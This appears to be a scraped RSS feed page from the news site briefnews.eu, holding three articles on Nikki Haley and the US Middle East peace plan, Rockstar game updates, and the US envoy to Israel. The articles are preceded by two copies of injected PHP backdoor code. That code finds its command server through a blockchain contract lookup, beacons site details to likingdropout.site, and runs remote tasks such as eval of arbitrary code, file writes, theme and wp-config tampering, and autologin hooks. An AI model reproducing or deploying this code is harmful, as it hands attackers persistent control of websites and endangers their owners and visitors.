// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); bully. – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 19 Dec 2018 03:18:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png bully. – Brief News https://briefnews.eu 32 32 Pro-Israel bully Nikki Haley claims Trump's peace plan is actually better for Palestine https://briefnews.eu/pro-israel-bully-nikki-haley-claims-trumps-peace-plan-is-actually-better-for-palestine/ https://briefnews.eu/pro-israel-bully-nikki-haley-claims-trumps-peace-plan-is-actually-better-for-palestine/#respond Wed, 19 Dec 2018 03:18:37 +0000 http://briefnews.eu/pro-israel-bully-nikki-haley-claims-trumps-peace-plan-is-actually-better-for-palestine/ US ambassador to the UN Nikki Haley has touted the much-hyped but yet unreleased US peace plan for the Middle East as a boon for Palestine – despite that they have already rejected the plan, calling it the “slap of the century.”

At her last UN Security Council meeting on Tuesday, the outgoing US envoy heaped praise on the Trump Administration’s peace plan which aims to make a breakthrough in the stalled peace process in the region.

Both sides would benefit greatly from a peace agreement, but the Palestinians would benefit more, and the Israelis would risk more.

“I assure you there is a lot for both sides to like,” Haley said, noting that it’s up to Israel and Palestine to tease out the details.

The plan, according to Haley, is “not just a few pages, containing unspecific and unimaginative guidelines,” but a comprehensive roadmap, with “much more thoughtful detail” and “taking advantage of the new world of technology.”




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Palestine takes US to International Court of Justice over Jerusalem embassy move



Haley, who has styled herself as one of the most vocal advocates of Israel in the Trump administration, highlighted the “unshakable bond” between the US and Israel, a position that was cemented during her tenure when the US outraged Muslims in Palestine and beyond by recognizing Jerusalem as Israel’s capital, slashed aid to Palestine by some $ 500 million and quit the UN Human Rights Council over its “bias” against Israel.

While Haley once called the UN General Assembly “morally bankrupt” for approving a resolution that condemned Israel’s use of “excessive, disproportionate and indiscriminate force” against Palestinian civilians in Gaza, as she bid farewell to the UNSC, she nonetheless argued that she has never harbored prejudice against Palestine.

“Given my record, some might mistakenly conclude that I am unsympathetic to the Palestinian people. Nothing could be further from the truth,” she said. Switching gears from reconciliatory to condescending, Haley then stated that “Israel wants a peace agreement but it does not need one,” adding that Palestinians must give up on their “50-year-old demands that have only become less and less realistic.”

Palestinian Authority President Mahmoud Abbas insists that Ramallah will not accept any peace plan that is not based on the 2002 Arab Peace Initiative, which clearly states that the future Palestinian state will be established in the territories occupied by Israel since 1967, with East Jerusalem as the capital.

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© Reuters / Paulo Whitaker

Abbas has repeatedly decried the US-sponsored “deal of the century,” saying in October that Palestine and Jerusalem are “not for sale or bargaining.”

It’s unclear yet what exactly is in the proposal that has been drafted by US President Donald Trump’s special adviser Jared Kushner and his Middle Eastern envoy Jason Greenblatt, which is expected to be unveiled in early January.

However, neither the Palestinian nor the Israeli side have been enthusiastic about the proposal that could have become the crowning achievement of Haley’s brief ambassadorial career.

Speaking at a conference in November, the Israeli Minister of Justice called the long-awaited plan “a waste of time.”

The Palestinian administration, which has fiercely opposed the plan from the beginning, recently lashed out at it, calling it a “lie” and the “slap of the century.” Mahmoud Al-Habbash, a senior adviser to the PA president, hinted last month that Abbas had been offered a huge paycheck to abandon Jerusalem – something he has vehemently refused to do.

“President Abbas told them: All the billions of dollars in the world will not make me give up one inch of the soil of Jerusalem,” Al-Habbash said. He noted that the plan has yet to win support from the Arab world, despite Washington’s assurances that they are on board.

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]]> https://briefnews.eu/pro-israel-bully-nikki-haley-claims-trumps-peace-plan-is-actually-better-for-palestine/feed/ 0 Rockstar News: Red Dead 2 Online update, Bully 2 rumours and GTA 5 news https://briefnews.eu/rockstar-news-red-dead-2-online-update-bully-2-rumours-and-gta-5-news/ https://briefnews.eu/rockstar-news-red-dead-2-online-update-bully-2-rumours-and-gta-5-news/#respond Sun, 09 Dec 2018 00:04:30 +0000 http://briefnews.eu/rockstar-news-red-dead-2-online-update-bully-2-rumours-and-gta-5-news/

It’s been a busy week for fans of Red Dead 2 Online and Red Dead Redemption 2 single-player.

Rockstar Games has confirmed that they have several important updates planned on PS4 and Xbox One.

And many of these will be launched during the current RDR2 Online beta.

The first has already been released and has made major changes to how the multiplayer economy works.

Fans have been justifiably pointing out that the old system created too much of a grind and meant a lot of repetition due to the limited ways of making good money.

This has led to Rockstar tweaking pricing of many items within the online world, as well as changing payouts for certain activities.

The good news is that players who have already purchased weapons at the previous prices will automatically see money deposits offering the difference to player balances starting today.

“Please look for an alert message the next time you log in to the Red Dead Online Beta to notify you of this change, refunds may take up until December 10th to reach all players,” Rockstar writes.

It also looks like some craft items are also being rebalanced, including the values of select pelts, skins and fish as well as horse reviver and pamphlets.

“We want to thank the Red Dead community for playing and sending us tons of valuable feedback during the first full week of the Red Dead Online Beta’s availability,” Rockstar adds.

“This feedback is crucial to help shape the game as we move forward.

“Today we are starting to implement the first set of adjustments to the game including changes specifically geared towards creating a more balanced, fun and rewarding overall experience, across all modes and missions.”

Rockstar is also planning a new update for Red Dead Redemption 2 single-player.

The next beta update is arriving next week and will include more changes for the game on PS4 and Xbox One.

This new title update is going to be more aimed at reducing problems staying connected online, among other bugs and issues.

“Our efforts to improve and balance the Red Dead Online Beta will continue. We are conscious of and still evaluating an assortment of further adjustments based on feedback from the community.

“We are currently working on fixes for some persistent bugs that are causing some players to be kicked from sessions, and we aim to have fixes for these live next week.

“Once again, we want to thank everyone for playing the Red Dead Online Beta and sharing their experiences so far with us. There’s still lots more to come so please stay tuned.”

According to recent reports, Bully 2 might be Rockstar Games next release on PS4 and Xbox One.

Internet sleuths have found evidence that suggests Rockstar may be in the middle of the development of a Bully sequel.

This stems from reports regarding casting calls being made for a new AAA game.

Request for a “new unannounced video game title with a leading UK games developer, shooting at Pinewood Studios,” have been making the rounds.

And they have been linked to a new Bully game; a follow up to the hit PS2 title from Rockstar Games.

The casting calls are reportedly looking for people to fill young roles, none of which have been given full character names.

Details of the roles include: “Mild violence and profanity will be used in scenes with the young performer.

“The project itself is a thriller/drama, and all scenes with the young performer will be handled with sensitivity.”

There have also been calls for actors to fill College Professor roles, narrowing down the idea that this could be for Bully 2.

Unfortunately, no smoking gun ties this project directly to Rockstar Games.

So fans will have to take this latest report with a big pinch of salt as there is no guarantee it couldn’t be for something else.

The latest round of GTA 5 Online bonuses has been released by Rockstar Games this week, as fans wait for more information on the next DLC.

More content has been promised and will be balanced out with new releases for Red Dead Online.

However, fans are still waiting to find out what comes next for GTA 5 Online.

No ETA has been provided, so fans will have to abide with what they can do right now, accumulate in-game cash reserves, with this week’s boosted activities including:

DOUBLE GTA$ & RP ON MOTOR WARS

The frenzied battle for survival in Motor Wars is twice as lucrative this week with Double GTA$ & RP payouts all the way through December 10th. Team up alongside a squad of equally ill-equipped reprobates and scramble for munitions and Weaponized Vehicles scattered across the battlefield as you seek to eliminate the mouth breathers on the opposing teams.

DISCOUNTS ON SELECT PROPERTIES, VEHICLES & AIRCRAFT

Every king or queen needs a castle, so take advantage of 35% off all high-end Apartments and Stilt Houses this week as well as a slew of discounts on in-demand vehicles from San Andreas’ top dealerships.

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]]> https://briefnews.eu/rockstar-news-red-dead-2-online-update-bully-2-rumours-and-gta-5-news/feed/ 0 US envoy to Israel trying to ‘bully’ and ‘gaslight’ media – Israeli journalist to RT https://briefnews.eu/us-envoy-to-israel-trying-to-bully-and-gaslight-media-israeli-journalist-to-rt/ https://briefnews.eu/us-envoy-to-israel-trying-to-bully-and-gaslight-media-israeli-journalist-to-rt/#respond Tue, 05 Jun 2018 20:52:36 +0000 http://briefnews.eu/us-envoy-to-israel-trying-to-bully-and-gaslight-media-israeli-journalist-to-rt/

The US ambassador to Israel is trying to “bully” media into not reporting on Gaza atrocities, and to control the spin on events, an Israeli journalist told RT after the infamous comment on reporters keeping their “mouths shut.”

Journalist David Sheen was responding to a speech made by the American Ambassador to Israel David M. Friedman, in which he warned journalists to “keep their mouths shut” and stop criticizing Israel in their reporting of events on the Gaza border.

“Essentially it’s gaslighting; trying to bully the media into stopping all reporting” of Israel’s attacks on Gaza, Sheen told RT.

“We’re living in an era when it is nearly impossible for anyone to criticize the Israeli government’s actions no matter how deplorable they may be, because they will be instantly be accused of racism— instead of examining are the actions of the government based on racism,” he added.

Sheen said that even Jewish Israeli journalists like himself get branded as racists when criticizing the actions of Israeli Prime Minister Benjamin Netanyahu’s government. Sheen said it was “horrific” that unwarranted claims of “anti-Semitism” were being used to “shut down the conversation” about the Israel-Palestine conflict.

In his comments, Friedman claimed that reports which criticized Israel were “creating impressions” that had “no basis in fact” and simply fit an anti-Israel “narrative” and a specific agenda. “It’s not reporting, because it’s not based on hard, factual analysis,” he said.

But Sheen argued that both history and facts demonstrate that the Israeli government “isn’t just trying to defend itself,” as it claims, but is “actually trying to destroy any idea of Palestinian nationalism, any idea of the chance that there could be some measure of equality.”

The journalist also criticized the Trump administration for supporting “the apartheid solution” to the conflict. The “one-state solution,” in which Israel “controls all the land” and Jews have “more rights than non-Jews.”

